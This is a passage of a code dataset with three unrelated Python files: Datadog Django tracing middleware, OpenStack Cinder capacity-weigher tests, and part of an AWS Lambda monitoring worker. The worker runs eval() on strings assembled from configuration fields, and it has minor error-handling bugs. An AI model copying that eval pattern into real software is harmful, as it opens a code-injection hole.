import config\n\n# 3p\nfrom django.core.exceptions import MiddlewareNotUsed\nfrom django.conf import settings as django_settings\nimport django\n\ntry:\n from django.utils.deprecation import MiddlewareMixin\n\n MiddlewareClass = MiddlewareMixin\nexcept ImportError:\n MiddlewareClass = object\n\nlog = get_logger(__name__)\n\nEXCEPTION_MIDDLEWARE = \"ddtrace.contrib.django.TraceExceptionMiddleware\"\nTRACE_MIDDLEWARE = \"ddtrace.contrib.django.TraceMiddleware\"\nMIDDLEWARE = \"MIDDLEWARE\"\nMIDDLEWARE_CLASSES = \"MIDDLEWARE_CLASSES\"\n\n# Default views list available from:\n# https://github.com/django/django/blob/38e2fdadfd9952e751deed662edf4c496d238f28/django/views/defaults.py\n# DEV: Django doesn't call `process_view` when falling back to one of these internal error handling views\n# DEV: We only use these names when `span.resource == 'unknown'` and we have one of these status codes\n_django_default_views = {\n 400: \"django.views.defaults.bad_request\",\n 403: \"django.views.defaults.permission_denied\",\n 404: \"django.views.defaults.page_not_found\",\n 500: \"django.views.defaults.server_error\",\n}\n\n\ndef _analytics_enabled():\n return (\n (config.analytics_enabled and settings.ANALYTICS_ENABLED is not False) or settings.ANALYTICS_ENABLED is True\n ) and settings.ANALYTICS_SAMPLE_RATE is not None\n\n\ndef get_middleware_insertion_point():\n \"\"\"Returns the attribute name and collection object for the Django middleware.\n\n If middleware cannot be found, returns None for the middleware collection.\n \"\"\"\n middleware = getattr(django_settings, MIDDLEWARE, None)\n # Prioritise MIDDLEWARE over ..._CLASSES, but only in 1.10 and later.\n if middleware is not None and django.VERSION >= (1, 10):\n return MIDDLEWARE, middleware\n return MIDDLEWARE_CLASSES, getattr(django_settings, MIDDLEWARE_CLASSES, None)\n\n\ndef insert_trace_middleware():\n middleware_attribute, middleware = get_middleware_insertion_point()\n if middleware is not None and TRACE_MIDDLEWARE not in set(middleware):\n setattr(django_settings, middleware_attribute, type(middleware)((TRACE_MIDDLEWARE,)) + middleware)\n\n\ndef remove_trace_middleware():\n _, middleware = get_middleware_insertion_point()\n if middleware and TRACE_MIDDLEWARE in set(middleware):\n middleware.remove(TRACE_MIDDLEWARE)\n\n\ndef insert_exception_middleware():\n middleware_attribute, middleware = get_middleware_insertion_point()\n if middleware is not None and EXCEPTION_MIDDLEWARE not in set(middleware):\n setattr(django_settings, middleware_attribute, middleware + type(middleware)((EXCEPTION_MIDDLEWARE,)))\n\n\ndef remove_exception_middleware():\n _, middleware = get_middleware_insertion_point()\n if middleware and EXCEPTION_MIDDLEWARE in set(middleware):\n middleware.remove(EXCEPTION_MIDDLEWARE)\n\n\nclass InstrumentationMixin(MiddlewareClass):\n \"\"\"\n Useful mixin base class for tracing middlewares\n \"\"\"\n\n def __init__(self, get_response=None):\n # disable the middleware if the tracer is not enabled\n # or if the auto instrumentation is disabled\n self.get_response = get_response\n if not settings.AUTO_INSTRUMENT:\n raise MiddlewareNotUsed\n\n\nclass TraceExceptionMiddleware(InstrumentationMixin):\n \"\"\"\n Middleware that traces exceptions raised\n \"\"\"\n\n def process_exception(self, request, exception):\n try:\n span = _get_req_span(request)\n if span:\n span.set_tag(http.STATUS_CODE, \"500\")\n span.set_traceback() # will set the exception info\n except Exception:\n log.debug(\"error processing exception\", exc_info=True)\n\n\nclass TraceMiddleware(InstrumentationMixin):\n \"\"\"\n Middleware that traces Django requests\n \"\"\"\n\n def process_request(self, request):\n tracer = settings.TRACER\n if settings.DISTRIBUTED_TRACING:\n propagator = HTTPPropagator()\n context = propagator.extract(request.META)\n # Only need to active the new context if something was propagated\n if context.trace_id:\n tracer.context_provider.activate(context)\n try:\n span = tracer.trace(\n \"django.request\",\n service=settings.DEFAULT_SERVICE,\n resource=\"unknown\", # will be filled by process view\n span_type=SpanTypes.WEB,\n )\n\n # set analytics sample rate\n # DEV: django is special case maintains separate configuration from config api\n if _analytics_enabled() and settings.ANALYTICS_SAMPLE_RATE is not None:\n span.set_tag(\n ANALYTICS_SAMPLE_RATE_KEY, settings.ANALYTICS_SAMPLE_RATE,\n )\n\n # Set HTTP Request tags\n span.set_tag(http.METHOD, request.method)\n span.set_tag(http.URL, get_request_uri(request))\n trace_query_string = settings.TRACE_QUERY_STRING\n if trace_query_string is None:\n trace_query_string = config.django.trace_query_string\n if trace_query_string:\n span.set_tag(http.QUERY_STRING, request.META[\"QUERY_STRING\"])\n _set_req_span(request, span)\n except Exception:\n log.debug(\"error tracing request\", exc_info=True)\n\n def process_view(self, request, view_func, *args, **kwargs):\n span = _get_req_span(request)\n if span:\n span.resource = func_name(view_func)\n\n def process_response(self, request, response):\n try:\n span = _get_req_span(request)\n if span:\n if response.status_code < 500 and span.error:\n # remove any existing stack trace since it must have been\n # handled appropriately\n span._remove_exc_info()\n\n # If `process_view` was not called, try to determine the correct `span.resource` to set\n # DEV: `process_view` won't get called if a middle `process_request` returns an HttpResponse\n # DEV: `process_view` won't get called when internal error handlers are used (e.g. for 404 responses)\n if span.resource == \"unknown\":\n try:\n # Attempt to lookup the view function from the url resolver\n # https://github.com/django/django/blob/38e2fdadfd9952e751deed662edf4c496d238f28/django/core/handlers/base.py#L104-L113 # noqa\n urlconf = None\n if hasattr(request, \"urlconf\"):\n urlconf = request.urlconf\n resolver = get_resolver(urlconf)\n\n # Try to resolve the Django view for handling this request\n if getattr(request, \"request_match\", None):\n request_match = request.request_match\n else:\n # This may raise a `django.urls.exceptions.Resolver404` exception\n request_match = resolver.resolve(request.path_info)\n span.resource = func_name(request_match.func)\n except Exception:\n log.debug(\"error determining request view function\", exc_info=True)\n\n # If the view could not be found, try to set from a static list of\n # known internal error handler views\n span.resource = _django_default_views.get(response.status_code, \"unknown\")\n\n span.set_tag(http.STATUS_CODE, response.status_code)\n span = _set_auth_tags(span, request)\n span.finish()\n except Exception:\n log.debug(\"error tracing request\", exc_info=True)\n finally:\n return response\n\n\ndef _get_req_span(request):\n \"\"\" Return the datadog span from the given request. \"\"\"\n return getattr(request, \"_datadog_request_span\", None)\n\n\ndef _set_req_span(request, span):\n \"\"\" Set the datadog span on the given request. \"\"\"\n return setattr(request, \"_datadog_request_span\", span)\n\n\ndef _set_auth_tags(span, request):\n \"\"\" Patch any available auth tags from the request onto the span. \"\"\"\n user = getattr(request, \"user\", None)\n if not user:\n return span\n\n if hasattr(user, \"is_authenticated\"):\n span.set_tag(\"django.user.is_authenticated\", user_is_authenticated(user))\n\n uid = getattr(user, \"pk\", None)\n if uid:\n span.set_tag(\"django.user.id\", uid)\n\n uname = getattr(user, \"username\", None)\n if uname:\n span.set_tag(\"django.user.name\", uname)\n\n return span\n", "source": "thieman/dd-trace-py", "license": "Apache-2.0"} {"text": "# Copyright 2011-2012 OpenStack Foundation\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"Tests For Capacity Weigher.\"\"\"\nfrom datetime import datetime\nfrom unittest import mock\n\nimport ddt\n\nfrom cinder.common import constants\nfrom cinder import context\nfrom cinder.scheduler import weights\nfrom cinder.tests.unit.scheduler import fakes\nfrom cinder.tests.unit import test\nfrom cinder.volume import volume_utils\n\n\n@ddt.ddt\nclass CapacityWeigherTestCase(test.TestCase):\n def setUp(self):\n super(CapacityWeigherTestCase, self).setUp()\n self.host_manager = fakes.FakeHostManager()\n self.weight_handler = weights.OrderedHostWeightHandler(\n 'cinder.scheduler.weights')\n\n def _get_weighed_hosts(self, hosts, weight_properties=None):\n if weight_properties is None:\n weight_properties = {'size': 1}\n return self.weight_handler.get_weighed_objects(\n [weights.capacity.CapacityWeigher],\n hosts,\n weight_properties)\n\n @mock.patch('cinder.db.sqlalchemy.api.service_get_all')\n def _get_all_backends(self, _mock_service_get_all, disabled=False):\n ctxt = context.get_admin_context()\n fakes.mock_host_manager_db_calls(_mock_service_get_all,\n disabled=disabled)\n backend_states = self.host_manager.get_all_backend_states(ctxt)\n _mock_service_get_all.assert_called_once_with(\n ctxt,\n None, # backend_match_level\n topic=constants.VOLUME_TOPIC, frozen=False, disabled=disabled)\n return backend_states\n\n # If thin and thin_provisioning_support are True,\n # use the following formula:\n # free = (total * host_state.max_over_subscription_ratio\n # - host_state.provisioned_capacity_gb\n # - math.floor(total * reserved))\n # Otherwise, use the following formula:\n # free = free_space - math.floor(total * reserved)\n\n @ddt.data(\n {'volume_type': {'extra_specs': {'provisioning:type': 'thin'}},\n 'winner': 'host2'},\n {'volume_type': {'extra_specs': {'provisioning:type': 'thick'}},\n 'winner': 'host1'},\n {'volume_type': {'extra_specs': {}},\n 'winner': 'host2'},\n {'volume_type': {},\n 'winner': 'host2'},\n {'volume_type': None,\n 'winner': 'host2'},\n )\n @ddt.unpack\n def test_default_of_spreading_first(self, volume_type, winner):\n backend_info_list = self._get_all_backends()\n\n # Results for the 1st test\n # {'provisioning:type': 'thin'}:\n # host1: thin_provisioning_support = False\n # free_capacity_gb=1024,\n # free=1024-math.floor(1024*0.1)=922\n # Norm=0.837837837838\n # host2: thin_provisioning_support = True\n # free_capacity_gb=300,\n # free=2048*1.5-1748-math.floor(2048*0.1)=1120\n # Norm=1.0\n # host3: thin_provisioning_support = False\n # free_capacity_gb=512, free=256-512*0=256\n # Norm=0.292383292383\n # host4: thin_provisioning_support = True\n # free_capacity_gb=200,\n # free=2048*1.0-2047-math.floor(2048*0.05)=-101\n # Norm=0.0\n # host5: free_capacity_gb=unknown free=-1\n # Norm=0.0819000819001\n\n # so, host2 should win:\n weight_properties = {\n 'size': 1,\n 'volume_type': volume_type,\n }\n weighed_host = self._get_weighed_hosts(\n backend_info_list,\n weight_properties=weight_properties)[0]\n self.assertEqual(1.0, weighed_host.weight)\n self.assertEqual(winner,\n volume_utils.extract_host(weighed_host.obj.host))\n\n @ddt.data(\n {'volume_type': {'extra_specs': {'provisioning:type': 'thin'}},\n 'winner': 'host4'},\n {'volume_type': {'extra_specs': {'provisioning:type': 'thick'}},\n 'winner': 'host2'},\n {'volume_type': {'extra_specs': {}},\n 'winner': 'host4'},\n {'volume_type': {},\n 'winner': 'host4'},\n {'volume_type': None,\n 'winner': 'host4'},\n )\n @ddt.unpack\n def test_capacity_weight_multiplier1(self, volume_type, winner):\n self.flags(capacity_weight_multiplier=-1.0)\n backend_info_list = self._get_all_backends()\n\n # Results for the 1st test\n # {'provisioning:type': 'thin'}:\n # host1: thin_provisioning_support = False\n # free_capacity_gb=1024,\n # free=-(1024-math.floor(1024*0.1))=-922\n # Norm=-0.00829542413701\n # host2: thin_provisioning_support = True\n # free_capacity_gb=300,\n # free=-(2048*1.5-1748-math.floor(2048*0.1))=-1120\n # Norm=-0.00990099009901\n # host3: thin_provisioning_support = False\n # free_capacity_gb=512, free=-(256-512*0)=-256\n # Norm=--0.002894884083\n # host4: thin_provisioning_support = True\n # free_capacity_gb=200,\n # free=-(2048*1.0-2047-math.floor(2048*0.05))=101\n # Norm=0.0\n # host5: free_capacity_gb=unknown free=-float('inf')\n # Norm=-1.0\n\n # so, host4 should win:\n weight_properties = {\n 'size': 1,\n 'volume_type': volume_type,\n }\n weighed_host = self._get_weighed_hosts(\n backend_info_list,\n weight_properties=weight_properties)\n weighed_host = weighed_host[0]\n self.assertEqual(0.0, weighed_host.weight)\n self.assertEqual(winner,\n volume_utils.extract_host(weighed_host.obj.host))\n\n @ddt.data(\n {'volume_type': {'extra_specs': {'provisioning:type': 'thin'}},\n 'winner': 'host2'},\n {'volume_type': {'extra_specs': {'provisioning:type': 'thick'}},\n 'winner': 'host1'},\n {'volume_type': {'extra_specs': {}},\n 'winner': 'host2'},\n {'volume_type': {},\n 'winner': 'host2'},\n {'volume_type': None,\n 'winner': 'host2'},\n )\n @ddt.unpack\n def test_capacity_weight_multiplier2(self, volume_type, winner):\n self.flags(capacity_weight_multiplier=2.0)\n backend_info_list = self._get_all_backends()\n\n # Results for the 1st test\n # {'provisioning:type': 'thin'}:\n # host1: thin_provisioning_support = False\n # free_capacity_gb=1024,\n # free=(1024-math.floor(1024*0.1))*2=1844\n # Norm=1.67567567568\n # host2: thin_provisioning_support = True\n # free_capacity_gb=300,\n # free=(2048*1.5-1748-math.floor(2048*0.1))*2=2240\n # Norm=2.0\n # host3: thin_provisioning_support = False\n # free_capacity_gb=512, free=(256-512*0)*2=512\n # Norm=0.584766584767\n # host4: thin_provisioning_support = True\n # free_capacity_gb=200,\n # free=(2048*1.0-2047-math.floor(2048*0.05))*2=-202\n # Norm=0.0\n # host5: free_capacity_gb=unknown free=-2\n # Norm=0.1638001638\n\n # so, host2 should win:\n weight_properties = {\n 'size': 1,\n 'volume_type': volume_type,\n }\n weighed_host = self._get_weighed_hosts(\n backend_info_list,\n weight_properties=weight_properties)[0]\n self.assertEqual(1.0 * 2, weighed_host.weight)\n self.assertEqual(winner,\n volume_utils.extract_host(weighed_host.obj.host))\n\n def test_capacity_weight_no_unknown_or_infinite(self):\n self.flags(capacity_weight_multiplier=-1.0)\n del self.host_manager.service_states['host5']\n backend_info_list = self._get_all_backends()\n\n # host1: thin_provisioning_support = False\n # free_capacity_gb=1024,\n # free=(1024-math.floor(1024*0.1))=-922\n # Norm=-0.837837837838\n # host2: thin_provisioning_support = True\n # free_capacity_gb=300,\n # free=(2048*1.5-1748-math.floor(2048*0.1))=-1120\n # Norm=-1.0\n # host3: thin_provisioning_support = False\n # free_capacity_gb=512, free=(256-512*0)=-256\n # Norm=-0.292383292383\n # host4: thin_provisioning_support = True\n # free_capacity_gb=200,\n # free=(2048*1.0-2047-math.floor(2048*0.05))=101\n # Norm=0.0\n\n # so, host4 should win:\n weighed_hosts = self._get_weighed_hosts(backend_info_list)\n best_host = weighed_hosts[0]\n self.assertEqual(0.0, best_host.weight)\n self.assertEqual('host4',\n volume_utils.extract_host(best_host.obj.host))\n # and host2 is the worst:\n worst_host = weighed_hosts[-1]\n self.assertEqual(-1.0, worst_host.weight)\n self.assertEqual('host2',\n volume_utils.extract_host(worst_host.obj.host))\n\n def test_capacity_weight_free_unknown(self):\n self.flags(capacity_weight_multiplier=-1.0)\n self.host_manager.service_states['host5'] = {\n 'total_capacity_gb': 3000,\n 'free_capacity_gb': 'unknown',\n 'allocated_capacity_gb': 1548,\n 'provisioned_capacity_gb': 1548,\n 'max_over_subscription_ratio': 1.0,\n 'thin_provisioning_support': True,\n 'thick_provisioning_support': False,\n 'reserved_percentage': 5,\n 'timestamp': datetime.utcnow()}\n backend_info_list = self._get_all_backends()\n\n # host1: thin_provisioning_support = False\n # free_capacity_gb=1024,\n # free=(1024-math.floor(1024*0.1))=-922\n # Norm= -0.00829542413701\n # host2: thin_provisioning_support = True\n # free_capacity_gb=300,\n # free=(2048*1.5-1748-math.floor(2048*0.1))=-1120\n # Norm=-0.00990099009901\n # host3: thin_provisioning_support = False\n # free_capacity_gb=512, free=(256-512*0)=-256\n # Norm=-0.002894884083\n # host4: thin_provisioning_support = True\n # free_capacity_gb=200,\n # free=(2048*1.0-2047-math.floor(2048*0.05))=101\n # Norm=0.0\n # host5: free_capacity_gb=unknown free=3000\n # Norm=-1.0\n\n # so, host4 should win:\n weighed_hosts = self._get_weighed_hosts(backend_info_list)\n best_host = weighed_hosts[0]\n self.assertEqual(0.0, best_host.weight)\n self.assertEqual('host4',\n volume_utils.extract_host(best_host.obj.host))\n # and host5 is the worst:\n worst_host = weighed_hosts[-1]\n self.assertEqual(-1.0, worst_host.weight)\n self.assertEqual('host5',\n volume_utils.extract_host(worst_host.obj.host))\n\n def test_capacity_weight_cap_unknown(self):\n self.flags(capacity_weight_multiplier=-1.0)\n self.host_manager.service_states['host5'] = {\n 'total_capacity_gb': 'unknown',\n 'free_capacity_gb': 3000,\n 'allocated_capacity_gb': 1548,\n 'provisioned_capacity_gb': 1548,\n 'max_over_subscription_ratio': 1.0,\n 'thin_provisioning_support': True,\n 'thick_provisioning_support': False,\n 'reserved_percentage': 5,\n 'timestamp': datetime.utcnow()}\n backend_info_list = self._get_all_backends()\n\n # host1: thin_provisioning_support = False\n # free_capacity_gb=1024,\n # free=(1024-math.floor(1024*0.1))=-922\n # Norm= -0.00829542413701\n # host2: thin_provisioning_support = True\n # free_capacity_gb=300,\n # free=(2048*1.5-1748-math.floor(2048*0.1))=-1120\n # Norm=-0.00990099009901\n # host3: thin_provisioning_support = False\n # free_capacity_gb=512, free=(256-512*0)=-256\n # Norm=-0.002894884083\n # host4: thin_provisioning_support = True\n # free_capacity_gb=200,\n # free=(2048*1.0-2047-math.floor(2048*0.05))=101\n # Norm=0.0\n # host5: free_capacity_gb=3000 free=unknown\n # Norm=-1.0\n\n # so, host4 should win:\n weighed_hosts = self._get_weighed_hosts(backend_info_list)\n best_host = weighed_hosts[0]\n self.assertEqual(0.0, best_host.weight)\n self.assertEqual('host4',\n volume_utils.extract_host(best_host.obj.host))\n # and host5 is the worst:\n worst_host = weighed_hosts[-1]\n self.assertEqual(-1.0, worst_host.weight)\n self.assertEqual('host5',\n volume_utils.extract_host(worst_host.obj.host))\n\n def test_capacity_weight_free_infinite(self):\n self.flags(capacity_weight_multiplier=-1.0)\n self.host_manager.service_states['host5'] = {\n 'total_capacity_gb': 3000,\n 'free_capacity_gb': 'infinite',\n 'allocated_capacity_gb': 1548,\n 'provisioned_capacity_gb': 1548,\n 'max_over_subscription_ratio': 1.0,\n 'thin_provisioning_support': True,\n 'thick_provisioning_support': False,\n 'reserved_percentage': 5,\n 'timestamp': datetime.utcnow()}\n backend_info_list = self._get_all_backends()\n\n # host1: thin_provisioning_support = False\n # free_capacity_gb=1024,\n # free=(1024-math.floor(1024*0.1))=-922\n # Norm= -0.00829542413701\n # host2: thin_provisioning_support = True\n # free_capacity_gb=300,\n # free=(2048*1.5-1748-math.floor(2048*0.1))=-1120\n # Norm=-0.00990099009901\n # host3: thin_provisioning_support = False\n # free_capacity_gb=512, free=(256-512*0)=-256\n # Norm=-0.002894884083\n # host4: thin_provisioning_support = True\n # free_capacity_gb=200,\n # free=(2048*1.0-2047-math.floor(2048*0.05))=101\n # Norm=0.0\n # host5: free_capacity_gb=infinite free=3000\n # Norm=-1.0\n\n # so, host4 should win:\n weighed_hosts = self._get_weighed_hosts(backend_info_list)\n best_host = weighed_hosts[0]\n self.assertEqual(0.0, best_host.weight)\n self.assertEqual('host4',\n volume_utils.extract_host(best_host.obj.host))\n # and host5 is the worst:\n worst_host = weighed_hosts[-1]\n self.assertEqual(-1.0, worst_host.weight)\n self.assertEqual('host5',\n volume_utils.extract_host(worst_host.obj.host))\n\n def test_capacity_weight_cap_infinite(self):\n self.flags(capacity_weight_multiplier=-1.0)\n self.host_manager.service_states['host5'] = {\n 'total_capacity_gb': 'infinite',\n 'free_capacity_gb': 3000,\n 'allocated_capacity_gb': 1548,\n 'provisioned_capacity_gb': 1548,\n 'max_over_subscription_ratio': 1.0,\n 'thin_provisioning_support': True,\n 'thick_provisioning_support': False,\n 'reserved_percentage': 5,\n 'timestamp': datetime.utcnow()}\n backend_info_list = self._get_all_backends()\n\n # host1: thin_provisioning_support = False\n # free_capacity_gb=1024,\n # free=(1024-math.floor(1024*0.1))=-922\n # Norm= -0.00829542413701\n # host2: thin_provisioning_support = True\n # free_capacity_gb=300,\n # free=(2048*1.5-1748-math.floor(2048*0.1))=-1120\n # Norm=-0.00990099009901\n # host3: thin_provisioning_support = False\n # free_capacity_gb=512, free=(256-512*0)=-256\n # Norm=-0.002894884083\n # host4: thin_provisioning_support = True\n # free_capacity_gb=200,\n # free=(2048*1.0-2047-math.floor(2048*0.05))=101\n # Norm=0.0\n # host5: free_capacity_gb=3000 free=infinite\n # Norm=-1.0\n\n # so, host4 should win:\n weighed_hosts = self._get_weighed_hosts(backend_info_list)\n best_host = weighed_hosts[0]\n self.assertEqual(0.0, best_host.weight)\n self.assertEqual('host4',\n volume_utils.extract_host(best_host.obj.host))\n # and host5 is the worst:\n worst_host = weighed_hosts[-1]\n self.assertEqual(-1.0, worst_host.weight)\n self.assertEqual('host5',\n volume_utils.extract_host(worst_host.obj.host))\n", "source": "helenwalsh/cinder", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python\n\"\"\"\nzumoco worker\n Called by AWS Lambda to discover service instances\n which are then added to AWS CloudWatch and monitored.\n\n Copyright 2019 zulily, Inc.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\"\"\"\n\n\nimport datetime\nimport json\nimport logging\nfrom time import strftime\n\nimport boto3\nfrom botocore import exceptions\nimport parsedatetime as pdt\n\nLogger = logging.getLogger()\nLogger.setLevel(logging.INFO)\n\nCW_C = boto3.client('cloudwatch')\nSNS_C = boto3.client('sns')\nS3_C = boto3.client('s3')\n\n# services zumoco has permission to describe\nSERVICE_LIST = ['ec2', 'cloudwatch', 'lambda', 'sns', 'rds', 'autoscaling']\n\nDEFS_PATH = 'monitordefs/'\nTEAM_FILEPATH = DEFS_PATH + 'team.json'\n\nDASHBOARD_MAX_WIDTH = 16\nDASHBOARD_MAX_WIDGET = 50\nMAX_SNS_MESSAGE = 1024 * 256\n\ndef load_monitor_file(file_name):\n \"\"\"\n Load team JSON\n \"\"\"\n try:\n with open(file_name, 'r') as monfile:\n mydict = json.load(monfile)\n except IOError as error:\n mydict = \"\"\n Logger.warning('Failed to load ' + file_name)\n Logger.critical('Critical Error: ' + str(error))\n return mydict\n\n\ndef load_instances(bucket, filename):\n \"\"\"\n Load JSON instances from S3 file\n \"\"\"\n try:\n obj = S3_C.get_object(Bucket=bucket, Key=filename)\n last_str = obj['Body'].read().decode('utf-8')\n insts = json.loads(last_str)\n except exceptions.ClientError as err:\n if err.response['Error']['Code'] == \"NoSuchKey\":\n Logger.warning('No file found:' + filename)\n insts = []\n else:\n raise\n\n return insts\n\n\ndef save_instances(inst_list, bucket, filename):\n \"\"\"\n Save instances to S3 json\n \"\"\"\n try:\n out = S3_C.put_object(Bucket=bucket, Key=filename,\n Body=json.dumps(inst_list, ensure_ascii=False,\n default=dateconverter))\n except exceptions.ClientError as err:\n Logger.error('Issue writing file:' + filename + ':' + err)\n\n return out['ResponseMetadata']['HTTPStatusCode']\n\ndef dateconverter(date_obj):\n \"\"\"\n Stringify datetime.datetime in a given instance\n \"\"\"\n if isinstance(date_obj, datetime.datetime):\n return date_obj.__str__()\n\n\ndef determine_deltas(my_insts, my_last_insts):\n \"\"\"\n Create lists of created and deleted instances since previous run.\n \"\"\"\n\n if not my_last_insts:\n return None, my_insts\n else:\n idict = {a['myname']:a for a in my_insts}\n ldict = {a['myname']:a for a in my_last_insts}\n set_insts = set(tuple(idict.keys()))\n set_last_insts = set(tuple(ldict.keys()))\n newinstkeys = list(set_insts - set_last_insts)\n delinstkeys = list(set_last_insts - set_insts)\n newinsts = [idict[a] for a in newinstkeys]\n delinsts = [ldict[a] for a in delinstkeys]\n return delinsts, newinsts\n\n\ndef format_report(count, new_inst, del_inst, svc_info):\n \"\"\"\n Given a service's new, deleted inst, return a string representation for email\n \"\"\"\n needed = False\n body = ''\n if new_inst is not None and len(new_inst) > 0:\n needed = True\n body += '\\n\\n New Instances: '\n for inst in new_inst:\n body += '\\n ' + inst['myname']\n else:\n body += '\\n\\n No new instances.'\n if del_inst is not None and len(del_inst) > 0:\n needed = True\n body += '\\n\\n Deleted Instances: '\n for inst in del_inst:\n body += '\\n ' + inst['myname']\n else:\n body += '\\n\\n No deleted instances.'\n if needed:\n output = 'Service: ' + svc_info['Service']\n output += '\\n Total Instances: ' + str(count)\n output += '\\n\\n'\n return output + body\n\n return None\n\n\ndef send_report(report_text, svc_info, now_str):\n \"\"\"\n Publish report to AWS SNS endpoint\n Note: publish takes a max of 256KB.\n \"\"\"\n overage = len(report_text) - MAX_SNS_MESSAGE\n if overage > 0:\n report_text = report_text[:-overage - 20] + '\\n'\n resp = SNS_C.publish(TopicArn=svc_info['ReportARN'],\n Message=report_text,\n Subject='New/Deleted Instance Report for ' + now_str)\n return resp\n\n\ndef get_notify_targets(a_dest):\n \"\"\"\n Return a dict of SNS alarm ARNs\n \"\"\"\n topics = SNS_C.list_topics()['Topics']\n arns = [i['TopicArn'] for i in topics]\n return {a: a_dest[a] for a in a_dest if a_dest[a] in arns}\n\n\ndef get_service_instance_tag_value(inst, svc_client, svc_info, tag_name):\n \"\"\"\n Retrieve given tag value from the given instance\n \"\"\"\n # Requires another API call\n if svc_info['DiscoverTags']:\n cmd = 'svc_client.' + svc_info['DiscoverTags']\n if svc_info['DiscoverTagsInstParm']:\n cmd += 'inst[\"' + svc_info['DiscoverTagsInstParm'] + '\"]'\n cmd += ')'\n inst = eval(cmd)\n # turn tag list into dictionary\n tagl = {i['Key']:i['Value'] for i in inst[svc_info['TagsKey']] if i['Value']}\n try:\n value = tagl[tag_name]\n except KeyError:\n value = \"\"\n return value\n\n\ndef create_friendly_name(instance, svc_client, svc_info):\n \"\"\"\n Return the best name for alarm\n \"\"\"\n Maxlen = 253\n friendly = None\n name = svc_info['AlarmPrefix'] + '_' + svc_info['Service']\n if svc_info['FriendlyName']:\n friendly = get_service_instance_tag_value(instance, svc_client, svc_info,\n svc_info['FriendlyName'])\n if friendly:\n name += '_' + friendly[:Maxlen-(len(name)+len(svc_info['AlarmDimName']))]\n\n if svc_info['EnsureUniqueName'] or not friendly:\n name += '_' + instance[svc_info['AlarmDimName']]\n\n return name\n\n\ndef create_service_alarms(svc_inst, svc_client, svc_info):\n \"\"\"\n Parse instances, creating alarms for each\n \"\"\"\n alarms = svc_info['Alarms']\n alm_tgt = get_notify_targets(svc_info['AlarmDestinations'])\n for instance in svc_inst:\n for alarm in alarms:\n alarmname = instance['myname'] + '_' + alarm\n try:\n if alarms[alarm]['send_ok']:\n CW_C.put_metric_alarm(AlarmName=alarmname,\n MetricName=alarms[alarm]['MetricName'],\n Namespace=alarms[alarm]['Namespace'],\n AlarmDescription=alarms[alarm]['AlarmDescription'],\n Statistic=alarms[alarm]['Statistic'],\n Period=alarms[alarm]['Period'],\n Threshold=alarms[alarm]['Threshold'],\n ComparisonOperator=alarms[alarm]['ComparisonOperator'],\n EvaluationPeriods=alarms[alarm]['EvaluationPeriods'],\n AlarmActions=[alm_tgt[alarms[alarm]['AlarmAction']]],\n OKActions=[alm_tgt[alarms[alarm]['AlarmAction']]],\n Dimensions=[{'Name':svc_info['AlarmDimName'],\n 'Value':instance[svc_info['AlarmDimName']]}])\n else:\n CW_C.put_metric_alarm(AlarmName=alarmname,\n MetricName=alarms[alarm]['MetricName'],\n Namespace=alarms[alarm]['Namespace'],\n AlarmDescription=alarms[alarm]['AlarmDescription'],\n Statistic=alarms[alarm]['Statistic'],\n Period=alarms[alarm]['Period'],\n Threshold=alarms[alarm]['Threshold'],\n ComparisonOperator=alarms[alarm]['ComparisonOperator'],\n EvaluationPeriods=alarms[alarm]['EvaluationPeriods'],\n AlarmActions=[alm_tgt[alarms[alarm]['AlarmAction']]],\n Dimensions=[{'Name':svc_info['AlarmDimName'],\n 'Value':instance[svc_info['AlarmDimName']]}])\n\n except KeyError:\n Logger.warning('Failed to create alarm: ' + alarmname)\n Logger.warning('Ensure valid AlarmDestinations / AlarmDimName')\n Logger.warning('in monitor definitions:' + svc_info['Service'])\n\n return get_service_alarms(svc_info['AlarmPrefix'], svc_info['Service'],\n alarm_list=['All'])\n\n\ndef get_service_alarms(prefix, service, alarm_list):\n \"\"\"\n Get all alarms for a given AlarmPrefix + service\n \"\"\"\n alarms = []\n alarmprefix = prefix + '_' + service\n paginator = CW_C.get_paginator('describe_alarms')\n if alarm_list is not None:\n if alarm_list == ['All']:\n alarminst = alarmprefix\n for response in paginator.paginate(AlarmNamePrefix=alarminst):\n alarms.extend(response['MetricAlarms'])\n else:\n for inst in alarm_list:\n alarminst = alarmprefix + '_' + inst['myname']\n for response in paginator.paginate(AlarmNamePrefix=alarminst):\n alarms.extend(response['MetricAlarms'])\n return alarms\n\n\ndef delete_service_alarms(alarm_list):\n \"\"\"\n Delete all alarms passed to the function\n \"\"\"\n alarmnames = []\n for alarm in alarm_list:\n alarmnames.append(alarm['AlarmName'])\n # limit of 100 for delete\n if len(alarmnames) > 90:\n CW_C.delete_alarms(AlarmNames=alarmnames)\n alarmnames = []\n if alarmnames:\n CW_C.delete_alarms(AlarmNames=alarmnames)\n\n\ndef format_widget_props(svc_info, cht_name, chart, inst, alarms):\n \"\"\"\n Helper to format AWS dashboard widget dictionary\n \"\"\"\n metrics = []\n props = {}\n\n if chart['is_alarm']:\n arns = []\n for alarm in alarms:\n if alarm['MetricName'] in chart['metric_list']:\n if alarm['Dimensions'][0]['Value'] == inst[svc_info['AlarmDimName']]:\n arns.append(alarm['AlarmArn'])\n # currently AWS handles 1 alarm\n break\n props['annotations'] = {'alarms' : arns}\n else:\n for mts in chart['metric_list']:\n metric = mts[:]\n metric.append(inst[svc_info['AlarmDimName']])\n metrics.append(metric)\n props['metrics'] = metrics\n avail_zone = eval('inst' + chart['avail'])\n props['region'] = avail_zone[:-1]\n props['stat'] = chart['stat']\n props['period'] = chart['period']\n props['view'] = chart['view']\n props['stacked'] = chart['stacked']\n props['title'] = cht_name\n return props\n\n\ndef build_dashboard_widgets(svc_inst, alarms, svc_info):\n \"\"\"\n 